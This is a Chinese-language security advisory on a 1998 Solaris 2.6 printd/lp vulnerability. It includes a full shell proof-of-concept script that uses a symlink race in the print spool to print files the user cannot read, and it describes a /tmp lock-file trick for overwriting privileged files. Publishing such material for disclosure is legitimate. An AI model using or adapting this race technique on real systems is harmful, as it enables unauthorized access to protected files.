安全研究

安全漏洞
Solaris 2.6 printd(lp)漏洞

发布日期:1998-03-11
更新日期:1998-03-11

受影响系统:
Solaris 2.6
描述:
存在于Solaris 2.6之上的printd(lp)漏洞,用户可以创建/改写特权文件,打印本来不可以访问的文件。

1.创建/改写特权文件:
SUN公司没有从过去的错误中吸取教训;TMP文件仍然是个问题,当列队打印一个大文件的时候
一个lock文件(/tmp/.printd.lock)就生成了。在你打印他们前,把你要创建/改写的文件和这
个LOCK文件的连接你将能获得这个文件修改权限。

当打印完成,你指示的文件属性将被置为640,其内容将包含printd的进程表示符。

2.打印本来不可访问的文件:

SUN公司重新构造了他们在Solais 2.6中的假脱机程序,他们采用了一种类似Sendmail的列队系统。

[~]lp .tcshrc
[~]ls -al /var/spool/print
total 12
drwxr-xr-x   2 root     lp           512 Feb 20 12:44 .
drwxrwxr-x  10 root     bin          512 Feb 17 11:28 ..
-rw-rw-r--   1 root     staff          4 Feb 20 12:44 .seq
-rw-r-----   1 root     staff         80 Feb 20 12:44 cfA037core
lrwxrwxrwx   1 root     staff         19 Feb 20 12:44 dfA037core ->
/home/sili/.tcshrc
-rw-r-----   1 root     staff         23 Feb 20 12:44 xfA037core






测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#!/bin/sh
#
#Print unreadable files on solaris2.6
#sili@l0pht.com
#
# --If it didn't work, change $BIGFILE to
#   something bigger.
#
# --Script usually works 80% of the time..
#   Didn't work? Try again.. Throw something
#   at the printspooler to slow it down.
#

TMPFILE="./.dmlr"
BIGFILE="/usr/lib/libc.so.1"

if [ $# != 1 ]; then
        echo "Usage:"
        echo
        echo "./sol26lp <file>"
        echo
        echo "Print unreadable files on Solaris2.6"
        echo "                  ----sili@l0pht.com"
       exit 1
fi

echo "Need a large file to print, using $BIGFILE."
cp /usr/bin/vi $TMPFILE ; chmod 700 $TMPFILE
lp $TMPFILE ;
#sleep 1;

rm $TMPFILE ; ln -s $1 $TMPFILE

QF=`ls -al /var/spool/print |grep $TMPFILE |awk '{print $9}'`

echo "Queue File: /var/spool/print/$QF"

while [ -h /var/spool/print/$QF ]; do
        echo "Waiting for file to print";
        sleep 1;
done
        
echo "File printed. Erasing temp files."
rm $TMPFILE

echo "Done."
echo
echo " --sili@l0pht.com 1/20/98"





建议:
到www.sun.com下载相应patch





浏览次数:22357
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障